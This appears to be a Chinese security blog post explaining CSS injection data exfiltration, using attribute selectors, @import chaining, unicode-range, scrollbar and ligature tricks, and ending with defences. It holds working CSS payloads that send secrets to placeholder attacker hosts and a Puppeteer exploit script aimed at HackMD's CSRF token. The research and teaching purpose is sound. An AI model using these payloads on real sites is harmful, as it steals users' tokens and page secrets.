我們先來討論第一個問題，有哪些東西可以偷？通常都是要偷一些敏感資料對吧？\n最常見的目標，就是 CSRF token。如果你不知道什麼是 CSRF，可以先看看我之前寫過的這一篇：讓我們來談談 CSRF（話說我有打算寫新的 CSRF 系列文，拖稿中，想看的話可留言催稿）。\n簡單來說呢，如果 CSRF token 被偷走，就有可能會被 CSRF 攻擊，總之你就想成這個 token 很重要就是了。而這個 CSRF token，通常都會被放在一個 hidden input 中，像是這樣：\n1 2 3 4 5 \u0026lt;form action=\u0026#34;/action\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;hidden\u0026#34; name=\u0026#34;csrf-token\u0026#34; value=\u0026#34;abc123\u0026#34;\u0026gt; \u0026lt;input name=\u0026#34;username\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;submit\u0026#34;\u0026gt; \u0026lt;/form\u0026gt; 我們該怎麼偷到裡面的資料呢？\n偷 hidden input 對於 hidden input 來說，照我們之前那樣寫是沒有效果的：\n1 2 3 input[name=\u0026#34;csrf-token\u0026#34;][value^=\u0026#34;a\u0026#34;] { background: url(https://example.com?q=a) } 因為 input 的 type 是 hidden，所以這個元素不會顯示在畫面上，既然不會顯示，那瀏覽器就沒有必要載入背景圖片，因此 server 不會收到任何 request。而這個限制非常嚴格，就算用 display:block !important; 也沒辦法蓋過去。\n該怎麼辦呢？沒關係，我們還有別的選擇器，像是這樣：\n1 2 3 input[name=\u0026#34;csrf-token\u0026#34;][value^=\u0026#34;a\u0026#34;] + input { background: url(https://example.com?q=a) } 最後面多了一個 + input，這個加號是另外一個選擇器，意思是「選到後面的元素」，所以整個選擇器合在一起，就是「我要選 name 是 csrf-token，value 開頭是 a 的 input，的後面那個 input」，也就是 \u0026lt;input name=\u0026quot;username\u0026quot;\u0026gt;。\n所以，真正載入背景圖片的其實是別的元素，而別的元素並沒有 type=hidden，所以圖片會被正常載入。\n那如果後面沒有其他元素怎麼辦？像是這樣：\n1 2 3 4 5 \u0026lt;form action=\u0026#34;/action\u0026#34;\u0026gt; \u0026lt;input name=\u0026#34;username\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;submit\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;hidden\u0026#34; name=\u0026#34;csrf-token\u0026#34; value=\u0026#34;abc123\u0026#34;\u0026gt; \u0026lt;/form\u0026gt; 以這個案例來說，在以前就真的玩完了，因為 CSS 並沒有可以選到「前面的元素」的選擇器，所以真的束手無策。\n但現在不一樣了，因為我們有了 :has，這個選擇器可以選到「底下符合特殊條件的元素」，像這樣：\n1 2 3 form:has(input[name=\u0026#34;csrf-token\u0026#34;][value^=\u0026#34;a\u0026#34;]){ background: url(https://example.com?q=a) } 意思就是我要選到「底下有（符合那個條件的 input）的 form」，所以最後載入背景的會是 form，一樣也不是那個 hidden input。這個 has selector 很新，從上個月底釋出的 Chrome 105 開始才正式支援，目前只剩下 Firefox 的穩定版還沒支援了，詳情可看：caniuse\n有了 has 以後，基本上就無敵了，因為可以指定改變背景的是哪個父元素，所以想怎麼選就怎麼選，怎樣都選得到。\n偷 meta 除了把資料放在 hidden input 以外，也有些網站會把資料放在 \u0026lt;meta\u0026gt; 裡面，例如說 \u0026lt;meta name=\u0026quot;csrf-token\u0026quot; content=\u0026quot;abc123\u0026quot;\u0026gt;，meta 這個元素一樣是看不見的元素，要怎麼偷呢？\n首先，如同上個段落的結尾講的一樣，has 是絕對偷得到的，可以這樣偷：\n1 2 3 html:has(meta[name=\u0026#34;csrf-token\u0026#34;][content^=\u0026#34;a\u0026#34;]) { background: url(https://example.com?q=a); } 但除此之外，還有其他方式也偷得到。\nmeta 雖然也看不到，但跟 hidden input 不同，我們可以自己用 CSS 讓這個元素變成可見：\n1 2 3 4 5 6 7 meta { display: block; } meta[name=\u0026#34;csrf-token\u0026#34;][content^=\u0026#34;a\u0026#34;] { background: url(https://example.com?q=a); } 可是這樣還不夠，你會發現 request 還是沒有送出，這是因為 meta 在 head 底下，而 head 也有預設的 display:none 屬性，因此也要幫 head 特別設置，才會讓 meta「能被看到」：\n1 2 3 4 5 6 7 head, meta { display: block; } meta[name=\u0026#34;csrf-token\u0026#34;][content^=\u0026#34;a\u0026#34;] { background: url(https://example.com?q=a); } 照上面這樣寫，就會看到瀏覽器發出 request。不過，畫面上倒是沒有顯示任何東西，因為畢竟 content 是一個屬性，而不是 HTML 的 text node，所以不會顯示在畫面上，但是 meta 這個元素本身其實是看得到的，這也是為什麼 request 會發出去：\n如果你真的想要在畫面上顯示 content 的話，其實也做得到，可以利用偽元素搭配 attr：\n1 2 3 meta:before { content: attr(content); } 就會看到 meta 裡面的內容顯示在畫面上了。\n最後，讓我們來看一個實際案例。\n偷 HackMD 的資料 HackMD 的 CSRF token 放在兩個地方，一個是 hidden input，另一個是 meta，內容如下：\n1 \u0026lt;meta name=\u0026#34;csrf-token\u0026#34; content=\u0026#34;h1AZ81qI-ns9b34FbasTXUq7a7_PPH8zy3RI\u0026#34;\u0026gt; 而 HackMD 其實支援 \u0026lt;style\u0026gt; 的使用，這個標籤不會被過濾掉，所以你是可以寫任何的 style 的，而相關的 CSP 如下：\n1 2 3 img-src * data:; style-src \u0026#39;self\u0026#39; \u0026#39;unsafe-inline\u0026#39; https://assets-cdn.github.com https://github.githubassets.com https://assets.hackmd.io https://www.google.com https://fonts.gstatic.com https://*.disquscdn.com; font-src \u0026#39;self\u0026#39; data: https://public.slidesharecdn.com https://assets.hackmd.io https://*.disquscdn.com https://script.hotjar.com; 可以看到 unsafe-inline 是允許的，所以可以插入任何的 CSS。\n確認可以插入 CSS 以後，就可以開始來準備偷資料了。還記得前面有一個問題沒有回答，那就是「該怎麼偷第一個以後的字元？」，我先以 HackMD 為例回答。\n首先，CSRF token 這種東西通常重新整理就會換一個，所以不能重新整理，而 HackMD 剛好支援即時更新，只要內容變了，會立刻反映在其他 client 的畫面上，因此可以做到「不重新整理而更新 style」，流程是這樣的：\n準備好偷第一個字元的 style，插入到 HackMD 裡面 受害者打開頁面 伺服器收到第一個字元的 request 從伺服器更新 HackMD 內容，換成偷第二個字元的 payload 受害者頁面即時更新，載入新的 style 伺服器收到第二個字元的 request 不斷循環直到偷完所有字元 簡單的示意圖如下：\n程式碼如下：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 const puppeteer = require(\u0026#39;puppeteer\u0026#39;); const express = require(\u0026#39;express\u0026#39;) const sleep = ms =\u0026gt; new Promise(resolve =\u0026gt; setTimeout(resolve, ms)); // Create a hackMD document and let anyone can view/edit const noteUrl = \u0026#39;https://hackmd.io/1awd-Hg82fekACbL_ode3aasf\u0026#39; const host = \u0026#39;http://localhost:3000\u0026#39; const baseUrl = host + \u0026#39;/extract?q=\u0026#39; const port = process.env.PORT || 3000 ;(async function() { const app = express() const browser = await puppeteer.launch({ headless: true }); const page = await browser.newPage(); await page.setViewport({ width: 1280, height: 800 }) await page.setRequestInterception(true); page.on(\u0026#39;request\u0026#39;, request =\u0026gt; { const url = request.url() // cancel request to self if (url.includes(baseUrl)) { request.abort() } else { request.continue() } }); app.listen(port, () =\u0026gt; { console.log(`Listening at http://localhost:${port}`) console.log(\u0026#39;Waiting for server to get ready...\u0026#39;) startExploit(app, page) }) })() async function startExploit(app, page) { let currentToken = \u0026#39;\u0026#39; await page.goto(noteUrl + \u0026#39;?edit\u0026#39;); // @see: https://stackoverflow.com/questions/51857070/puppeteer-in-nodejs-reports-error-node-is-either-not-visible-or-not-an-htmlele await page.addStyleTag({ content: \u0026#34;{scroll-behavior: auto !important;}\u0026#34; }); const initialPayload = generateCss() await updateCssPayload(page, initialPayload) console.log(`Server is ready, you can open ${noteUrl}?view on the browser`) app.get(\u0026#39;/extract\u0026#39;, (req, res) =\u0026gt; { const query = req.query.q if (!query) return res.end() console.log(`query: ${query}, progress: ${query.length}/36`) currentToken = query if (query.length === 36) { console.log(\u0026#39;over\u0026#39;) return } const payload = generateCss(currentToken) updateCssPayload(page, payload) res.end() }) } async function updateCssPayload(page, payload) { await sleep(300) await page.click(\u0026#39;.CodeMirror-line\u0026#39;) await page.keyboard.down(\u0026#39;Meta\u0026#39;); await page.keyboard.press(\u0026#39;A\u0026#39;); await page.keyboard.up(\u0026#39;Meta\u0026#39;); await page.keyboard.press(\u0026#39;Backspace\u0026#39;); await sleep(300) await page.keyboard.sendCharacter(payload) console.log(\u0026#39;Updated css payload, waiting for next request\u0026#39;) } function generateCss(prefix = \u0026#34;\u0026#34;) { const csrfTokenChars = \u0026#39;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_\u0026#39;.split(\u0026#39;\u0026#39;) return ` ${prefix} \u0026lt;style\u0026gt; head, meta { display: block; } ${ csrfTokenChars.map(char =\u0026gt; ` meta[name=\u0026#34;csrf-token\u0026#34;][content^=\u0026#34;${prefix + char}\u0026#34;] { background: url(${baseUrl}${prefix + char}) } `).join(\u0026#39;\\n\u0026#39;) } \u0026lt;/style\u0026gt; ` } 可以直接用 Node.js 跑起來，跑起來以後在瀏覽器打開相對應的文件，就可以在 terminal 看到 leak 的進度。\n不過呢，就算偷到了 HackMD 的 CSRF token，依然還是沒辦法 CSRF，因為 HackMD 有在 server 檢查其他的 HTTP request header 如 origin 或是 referer 等等，確保 request 來自合法的地方。\n總結 在這篇裡面，我們看到了之所以可以用 CSS 來偷資料的原理，說穿了就是利用「屬性選擇器」再加上「載入圖片」這兩個簡單的功能，也示範了如何偷取 hidden input 跟 meta 裡的資料，並且以 HackMD當作實際案例說明。\n但是呢，有幾個問題我們還沒解決，像是：\nHackMD 因為可以即時同步內容，所以不需要重新整理就可以載入新的 style，那其他網站呢？該怎麼偷到第二個以後的字元？ 一次只能偷一個字元的話，是不是要偷很久呢？這在實際上可行嗎？ 有沒有辦法偷到屬性以外的東西？例如說頁面上的文字內容，或甚至是 JavaScript 的程式碼？ 針對這個攻擊手法的防禦方式有哪些？ 用 CSS 來偷資料 - CSS injection（下） 偷到所有字元 我們想偷的資料有可能只要重新整理以後就會改變（如 CSRF token），所以我們必須在不重新整理的狀況之下載入新的 style。\n前面之所以做得到，是因為 HackMD 本身就是一個標榜即時更新的文件，但如果是一般的網頁呢？在不能用 JavaScript 的情況下，該如何不斷動態載入新的 style？\n有關於這個問題，在 CSS Injection Attacks 這份簡報裡面給出了解答：@import。\n在 CSS 裡面，你可以用 @import 去把外部的其他 style 引入進來，就像 JavaScript 的 import 那樣。\n我們可以利用這個功能做出引入 style 的迴圈，如下面的程式碼：\n1 @import url(https://myserver.com/start?len=8) 接著，在 server 回傳如下的 style：\n1 2 3 4 5 6 7 8 @import url(https://myserver.com/payload?len=1) @import url(https://myserver.com/payload?len=2) @import url(https://myserver.com/payload?len=3) @import url(https://myserver.com/payload?len=4) @import url(https://myserver.com/payload?len=5) @import url(https://myserver.com/payload?len=6) @import url(https://myserver.com/payload?len=7) @import url(https://myserver.com/payload?len=8) 重點來了，這邊雖然一次引入了 8 個，但是「後面 7 個 request，server 都會先 hang 住，不會給 response」，只有第一個網址 https://myserver.com/payload?len=1 會回傳 response，內容為之前提過的偷資料 payload：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 input[name=\u0026#34;secret\u0026#34;][value^=\u0026#34;a\u0026#34;] { background: url(https://b.myserver.com/leak?q=a) } input[name=\u0026#34;secret\u0026#34;][value^=\u0026#34;b\u0026#34;] { background: url(https://b.myserver.com/leak?q=b) } input[name=\u0026#34;secret\u0026#34;][value^=\u0026#34;c\u0026#34;] { background: url(https://b.myserver.com/leak?q=c) } //.... input[name=\u0026#34;secret\u0026#34;][value^=\u0026#34;z\u0026#34;] { background: url(https://b.myserver.com/leak?q=z) } 當瀏覽器收到 response 的時候，就會先載入上面這一段 CSS，載入完以後符合條件的元素就會發 request 到後端，假設第一個字是 d 好了，接著 server 這時候才回傳 https://myserver.com/payload?len=2 的 response，內容為：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 input[name=\u0026#34;secret\u0026#34;][value^=\u0026#34;da\u0026#34;] { background: url(https://b.myserver.com/leak?q=da) } input[name=\u0026#34;secret\u0026#34;][value^=\u0026#34;db\u0026#34;] { background: url(https://b.myserver.com/leak?q=db) } input[name=\u0026#34;secret\u0026#34;][value^=\u0026#34;dc\u0026#34;] { background: url(https://b.myserver.com/leak?q=dc) } //.... input[name=\u0026#34;secret\u0026#34;][value^=\u0026#34;dz\u0026#34;] { background: url(https://b.myserver.com/leak?q=dz) } 以此類推，只要不斷重複這些步驟，就可以把所有字元都傳到 server 去，靠的就是 import 會先載入已經下載好的 resource，然後去等待還沒下載好的特性。\n這邊有一點要特別注意，你會發現我們載入 style 的 domain 是 myserver.com，而背景圖片的 domain 是 b.myserver.com，這是因為瀏覽器通常對於一個 domain 能同時載入的 request 有數量上的限制，所以如果你全部都是用 myserver.com 的話，會發現背景圖片的 request 送不出去，都被 CSS import 給卡住了。\n因此需要設置兩個 domain，來避免這種狀況。\n除此之外，上面這種方式在 Firefox 是行不通的，因為在 Firefox 上就算第一個的 response 先回來，也不會立刻更新 style，要等所有 request 都回來才會一起更新。解法的話可以參考這一篇：CSS data exfiltration in Firefox via a single injection point，把第一步的 import 拿掉，然後每一個字元的 import 都用額外的 style 包著，像這樣：\n1 2 3 4 5 6 7 8 \u0026lt;style\u0026gt;@import url(https://myserver.com/payload?len=1)\u0026lt;/style\u0026gt; \u0026lt;style\u0026gt;@import url(https://myserver.com/payload?len=2)\u0026lt;/style\u0026gt; \u0026lt;style\u0026gt;@import url(https://myserver.com/payload?len=3)\u0026lt;/style\u0026gt; \u0026lt;style\u0026gt;@import url(https://myserver.com/payload?len=4)\u0026lt;/style\u0026gt; \u0026lt;style\u0026gt;@import url(https://myserver.com/payload?len=5)\u0026lt;/style\u0026gt; \u0026lt;style\u0026gt;@import url(https://myserver.com/payload?len=6)\u0026lt;/style\u0026gt; \u0026lt;style\u0026gt;@import url(https://myserver.com/payload?len=7)\u0026lt;/style\u0026gt; \u0026lt;style\u0026gt;@import url(https://myserver.com/payload?len=8)\u0026lt;/style\u0026gt; 而上面這樣 Chrome 也是沒問題的，所以統一改成上面這樣，就可以同時支援兩種瀏覽器了。\n總結一下，只要用 @import 這個 CSS 的功能，就可以做到「不重新載入頁面，但可以動態載入新的 style」，進而偷取後面的每一個字元。\n一次偷一個字元，太慢了吧？ 若是想要在現實世界中執行這種攻擊，效率可能要再更好一點。以 HackMD 為例，CSRF token 總共有 36 個字，所以就要發 36 個 request，確實是太多了點。\n事實上，我們一次可以偷兩個字元，因為上集有講過除了 prefix selector 以外，也有 suffix selector，所以可以像這樣：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 input[name=\u0026#34;secret\u0026#34;][value^=\u0026#34;a\u0026#34;] { background: url(https://b.myserver.com/leak?q=a) } input[name=\u0026#34;secret\u0026#34;][value^=\u0026#34;b\u0026#34;] { background: url(https://b.myserver.com/leak?q=b) } // ... input[name=\u0026#34;secret\u0026#34;][value$=\u0026#34;a\u0026#34;] { border-background: url(https://b.myserver2.com/suffix?q=a) } input[name=\u0026#34;secret\u0026#34;][value$=\u0026#34;b\u0026#34;] { border-background: url(https://b.myserver2.com/suffix?q=b) } 除了偷開頭以外，我們也偷結尾，效率立刻變成兩倍。要特別注意的是開頭跟結尾的 CSS，一個用的是 background，另一個用的是 border-background，是不同的屬性，因為如果用同一個屬性的話，內容就會被其他的蓋掉，最後只會發出一個 request。\n若是內容可能出現的字元不多，例如說 16 個的話，那我們可以直接一次偷兩個開頭加上兩個結尾，總共的 CSS rule 數量為 16*16*2 = 512 個，應該還在可以接受的範圍內，就能夠再加速兩倍。\n除此之外，也可以朝 server 那邊去改善，例如說改用 HTTP/2 或甚至是 HTTP/3，都有機會能夠加速 request 載入的速度，進而提升效率。\n偷其他東西 除了偷屬性之外，有沒有辦法偷到其他東西？例如說，頁面上的其他文字？或甚至是 script 裡面的程式碼？\n根據我們在上一篇裡面講的原理，是做不到的。因為能偷到屬性是因為「屬性選擇器」這個東西，才讓我們選到特定的元素，而在 CSS 裡面，並沒有可以選擇「內文」的選擇器。\n因此，我們需要對 CSS 以及網頁上的樣式有更深入的理解，才有辦法達成這件看似不可能的任務。\nunicode-range 在 CSS 裡面，有一個屬性叫做「unicode-range」，可以針對不同的字元，載入不同的字體。像是底下這個從 MDN 拿來的範例：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;body\u0026gt; \u0026lt;style\u0026gt; @font-face { font-family: \u0026#34;Ampersand\u0026#34;; src: local(\u0026#34;Times New Roman\u0026#34;); unicode-range: U+26; } div { font-size: 4em; font-family: Ampersand, Helvetica, sans-serif; } \u0026lt;/style\u0026gt; \u0026lt;div\u0026gt;Me \u0026amp; You = Us\u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; \u0026amp; 的 unicode 是 U+0026，因此只有 \u0026amp; 這個字會用不同的字體來顯示，其他都用同一個字體。\n這招前端工程師可能有用過，例如說英文跟中文如果要用不同字體來顯示，就很適合用這一招。而這招也可以用來偷取頁面上的文字，像這樣：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;body\u0026gt; \u0026lt;style\u0026gt; @font-face { font-family: \u0026#34;f1\u0026#34;; src: url(https://myserver.com?q=1); unicode-range: U+31; } @font-face { font-family: \u0026#34;f2\u0026#34;; src: url(https://myserver.com?q=2); unicode-range: U+32; } @font-face { font-family: \u0026#34;f3\u0026#34;; src: url(https://myserver.com?q=3); unicode-range: U+33; } @font-face { font-family: \u0026#34;fa\u0026#34;; src: url(https://myserver.com?q=a); unicode-range: U+61; } @font-face { font-family: \u0026#34;fb\u0026#34;; src: url(https://myserver.com?q=b); unicode-range: U+62; } @font-face { font-family: \u0026#34;fc\u0026#34;; src: url(https://myserver.com?q=c); unicode-range: U+63; } div { font-size: 4em; font-family: f1, f2, f3, fa, fb, fc; } \u0026lt;/style\u0026gt; Secret: \u0026lt;div\u0026gt;ca31a\u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 如果你去看 network tab，會看到一共發送了 4 個 request：\n藉由這招，我們可以得知頁面上有：13ac 這四個字元。\n而這招的侷限之處也很明顯，就是：\n我們不知道字元的順序為何 重複的字元也不會知道 但是從「載入字型」的角度下去思考怎麼偷到字元，著實帶給了許多人一個新的思考方式，並發展出各式各樣其他的方法。\n字體高度差異 + first-line + scrollbar 這招要解決的主要是上一招碰到的問題：「沒辦法知道字元順序」，然後這招結合了很多細節，步驟很多，要仔細聽了。\n首先，我們其實可以不載入外部字體，用內建的字體就能 leak 出字元。這要怎麼做到呢？我們要先找出兩組內建字體，高度會不同。\n例如有一個叫做「Comic Sans MS」的字體，高度就比另一個「Courier New」高。\n舉個例子，假設預設字體的高度是 30px，而 Comic Sans MS 是 45px 好了。那現在我們把文字區塊的高度設成 40px，並且載入字體，像這樣：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;body\u0026gt; \u0026lt;style\u0026gt; @font-face { font-family: \u0026#34;fa\u0026#34;; src:local(\u0026#39;Comic Sans MS\u0026#39;); font-style:monospace; unicode-range: U+41; } div { font-size: 30px; height: 40px; width: 100px; font-family: fa, \u0026#34;Courier New\u0026#34;; letter-spacing: 0px; word-break: break-all; overflow-y: auto; overflow-x: hidden; } \u0026lt;/style\u0026gt; Secret: \u0026lt;div\u0026gt;DBC\u0026lt;/div\u0026gt; \u0026lt;div\u0026gt;ABC\u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 就會在畫面上看到差異：\n很明顯 A 比其他字元的高度都高，而且根據我們的 CSS 設定，如果內容高度超過容器高度，會出現 scrollbar。雖然上面是截圖看不出來，但是下面的 ABC 有出現 scrollbar，而上面的 DBC 沒有。\n再者，我們其實可以幫 scrollbar 設定一個外部的背景：\n1 2 3 4 5 6 7 div::-webkit-scrollbar { background: blue; } div::-webkit-scrollbar:vertical { background: url(https://myserver.com?q=a); } 也就是說，如果 scrollbar 有出現，我們的 server 就會收到 request。如果 scrollbar 沒出現，就不會收到 request。\n更進一步來說，當我把 div 套用 “fa” 字體時，如果畫面上有 A，就會出現 scrollbar，server 就會收到 request。如果畫面上沒有 A，就什麼事情都不會發生。\n因此，我如果一直重複載入不同字體，那我在 server 就能知道畫面上有什麼字元，這點跟剛剛我們用 unicode-range 能做到的事情是一樣的。\n那要怎麼解決順序的問題呢？\n我們可以先把 div 的寬度縮減到只能顯示一個字元，這樣其他字元就會被放到第二行去，再搭配 ::first-line 這個 selector，就可以特別針對第一行做樣式的調整，像是這樣：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;body\u0026gt; \u0026lt;style\u0026gt; @font-face { font-family: \u0026#34;fa\u0026#34;; src:local(\u0026#39;Comic Sans MS\u0026#39;); font-style:monospace; unicode-range: U+41; } div { font-size: 0px; height: 40px; width: 20px; font-family: fa, \u0026#34;Courier New\u0026#34;; letter-spacing: 0px; word-break: break-all; overflow-y: auto; overflow-x: hidden; } div::first-line{ font-size: 30px; } \u0026lt;/style\u0026gt; Secret: \u0026lt;div\u0026gt;CBAD\u0026lt;/div\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 畫面上你就只會看到一個「C」的字元，因為我們先用 font-size: 0px 把所有字元的尺寸都設為 0，再用 div::first-line 去做調整，讓第一行的 font-size 變成 30px。換句話說，只有第一行的字元能看到，而現在的 div 寬度只有 20px，所以只會出現第一個字元。\n接著，我們再運用剛剛學會的那招，去載入看看不同的字體。當我載入 fa 這個字體時，因為畫面上沒有出現 A，所以不會有任何變化。但是當我載入 fc 這個字體時，畫面上有 C，所以就會用 Comic Sans MS 來顯示 C，高度就會變高，scrollbar 就會出現，就可以利用它來發出 request，像這樣：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 div { font-size: 0px; height: 40px; width: 20px; font-family: fc, \u0026#34;Courier New\u0026#34;; letter-spacing: 0px; word-break: break-all; overflow-y: auto; overflow-x: hidden; --leak: url(http://myserver.com?C); } div::first-line{ font-size: 30px; } div::-webkit-scrollbar { background: blue; } div::-webkit-scrollbar:vertical { background: var(--leak); } 那我們要怎麼樣不斷使用新的 font-family 呢？用 CSS animation 就可以做到，你可以用 CSS animation 不斷載入不同的 font-family 以及指定不同的 –leak 變數。\n如此一來，我們就能知道畫面上的第一個字元到底是什麼。\n知道了第一個字元以後，我們把 div 的寬度變長，例如說變成 40px，就能容納兩個字元，因此第一行就會是前兩個字，接著再用一樣的方式載入不同的 font-family，就能 leak 出第二個字元，詳細流程如下：\n假設畫面上是 ACB 調整寬度為 20px，第一行只出現第一個字元 A 載入字體 fa，因此 A 用較高的字體顯示，出現 scrollbar，載入 scrollbar 背景，傳送 request 給 server 載入字體 fb，但是 B 沒有出現在畫面上，因此沒有任何變化。 載入字體 fc，但是 C 沒有出現在畫面上，因此沒有任何變化。 調整寬度為 40px，第一行出現兩個字元 AC 載入字體 fa，因此 A 用較高的字體顯示，出現 scrollbar，此時應該是因為這個背景已經載入過，所以不會發送新的 request 載入字體 fb，沒出現在畫面上，沒任何變化 載入字體 fc，C 用較高的字體顯示，出現 scrollbar 並且載入背景 調整寬度為 60px，ACB 三個字元都出現在第一行 載入字體 fa，同第七步 載入字體 fb，B 用較高的字體顯示，出現 scrollbar 並且載入背景 載入字體 fc，C 用較高的字體顯示，但因為已經載入過相同背景，不會發送 request 結束 從上面流程中可以看出 server 會依序收到 A, C, B 三個 reqeust，代表了畫面上字元的順序。而不斷改變寬度以及 font-family 都可以用 CSS animation 做到。\n想要看完整 demo 的可以看這個網頁（出處：What can we do with single CSS injection?）：https://demo.vwzq.net/css2.html\n這個解法雖然解決了「不知道字元順序」的問題，但依然無法解決重複字元的問題，因為重複的字元不會再發出 request。\n大絕招：ligature + scrollbar 先講結論，這一招可以解決上面所有問題，達成「知道字元順序，也知道重複字元」的目標，能夠偷到完整的文字。\n要理解怎麼偷之前，我們要先知道一個專有名詞，叫做連字（ligature），在某些字型當中，會把一些特定的組合 render 成連在一起的樣子，如下圖（來源：wikipedia）：\n那這個對我們有什麼幫助呢？\n我們可以自己製作出一個獨特的字體，把 ab 設定成連字，並且 render 出一個超寬的元素。接著，我們把某個 div 寬度設成固定，然後結合剛剛 scrollbar 那招，也就是：「如果 ab 有出現，就會變很寬，scrollbar 就會出現，就可以載入 request 告訴 server；如果沒出現，那 scrollbar 就不會出現，沒有任何事情發生」。\n流程是這樣的，假設畫面上有 acc 這三個字：\n載入有連字 aa 的字體，沒事發生 載入有連字 ab 的字體，沒事發生 載入有連字 ac 的字體，成功 render 超寬的畫面，scrollbar 出現，載入 server 圖片 server 知道畫面上有 ac 載入有連字 aca 的字體，沒事發生 載入有連字 acb 的字體，沒事發生 載入有連字 acc 的字體，成功 render，scrollbar 出現，傳送結果給 server server 知道畫面上有 aca 透過連字結合 scrollbar，我們可以一個字元一個字元，慢慢 leak 出畫面上所有的字，甚至連 JavaScript 的程式碼都可以！\n你知道，script 的內容是可以顯示在畫面上的嗎？\n1 2 3 head, script { display: block; } 只要加上這個 CSS，就可以讓 script 內容也顯示在畫面上，因此我們也可以利用同樣的技巧，偷到 script 的內容！\n在實戰上的話，你可以用 SVG 搭配其他工具，在 server 端迅速產生字體，想要看細節以及相關程式碼的話，可以參考這篇：Stealing Data in Great style – How to Use CSS to Attack Web Application.\n而這邊我就簡單做個簡化到不行的 demo，來證明這件事情是可行的。為了簡化，有人做了一個 Safari 版本的 demo，因為 Safari 支援 SVG font，所以不需要再從 server 產生字型，原始文章在這裡：Data Exfiltration via CSS + SVG Font - PoC (Safari only)\n簡易版 demo：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html lang=\u0026#34;en\u0026#34;\u0026gt; \u0026lt;body\u0026gt; \u0026lt;script\u0026gt; var secret = \u0026#34;abc123\u0026#34; \u0026lt;/script\u0026gt; \u0026lt;hr\u0026gt; \u0026lt;script\u0026gt; var secret2 = \u0026#34;cba321\u0026#34; \u0026lt;/script\u0026gt; \u0026lt;svg\u0026gt; \u0026lt;defs\u0026gt; \u0026lt;font horiz-adv-x=\u0026#34;0\u0026#34;\u0026gt; \u0026lt;font-face font-family=\u0026#34;hack\u0026#34; units-per-em=\u0026#34;1000\u0026#34; /\u0026gt; \u0026lt;glyph unicode=\u0026#39;\u0026#34;a\u0026#39; horiz-adv-x=\u0026#34;99999\u0026#34; d=\u0026#34;M1 0z\u0026#34;/\u0026gt; \u0026lt;/font\u0026gt; \u0026lt;/defs\u0026gt; \u0026lt;/svg\u0026gt; \u0026lt;style\u0026gt; script { display: block; font-family:\u0026#34;hack\u0026#34;; white-space:n owrap; overflow-x: auto; width: 500px; background:lightblue; } script::-webkit-scrollbar { background: blue; } \u0026lt;/style\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 我用 script 放了兩段 JS，裡面內容分別是 var secret = \u0026quot;abc123\u0026quot; 跟 var secret2 = \u0026quot;cba321\u0026quot;，接著利用 CSS 載入我準備好的字體，只要有 \u0026quot;a 的連字，就會寬度超寬。\n再來如果 scrollbar 有出現，我把背景設成藍色的，比較顯眼，最後的結果如下：\n上面因為內容是 var secret = \u0026quot;abc123\u0026quot;，所以符合了 \u0026ldquo;a 的連字，因此寬度變寬，scrollbar 出現。\n下面因為沒有 \u0026quot;a，所以 scrollbar 沒出現（有 a 的地方都會缺字，應該跟我沒有定義其他的 glyph 有關，但不影響結果）\n只要把 scrollbar 的背景換成 URL，就可以從 server 端知道 leak 的結果。\n如果想看實際的 demo 跟 server 端的寫法，可以參考上面附的那兩篇文章。\n防禦方式 最後我們來講一下防禦方式，最簡單明瞭的當然就是直接把 style 封起來不給用，基本上就不會有 CSS injection 的問題（除非實作方式有漏洞）。\n如果真的要開放 style，也可以用 CSP 來阻擋一些資源的載入，例如說 font-src 就沒有必要全開，style-src 也可以設置 allow list，就能夠擋住 @import 這個語法。\n再來，也可以考慮到「如果頁面上的東西被拿走，會發生什麼事情」，例如說 CSRF token 被拿走，最壞就是 CSRF，此時就可以實作更多的防護去阻擋 CSRF，就算攻擊者取得了 CSRF token，也沒辦法 CSRF（例如說多檢查 origin header 之類的）。\n總結 CSS 果真博大精深，真的很佩服這些前輩們可以把 CSS 玩出這麼多花樣，發展出這麼多令人眼界大開的攻擊手法。當初在研究的時候，利用屬性選擇器去 leak 這個我可以理解，用 unicode-range 我也能理解，但是那個用文字高度加上 CSS animation 去變化的，我花了不少時間才搞懂那在幹嘛，連字那個雖然概念好懂，但真的要實作還是會碰到不少問題。\n最後，這兩篇文章主要算是介紹一下 CSS injection 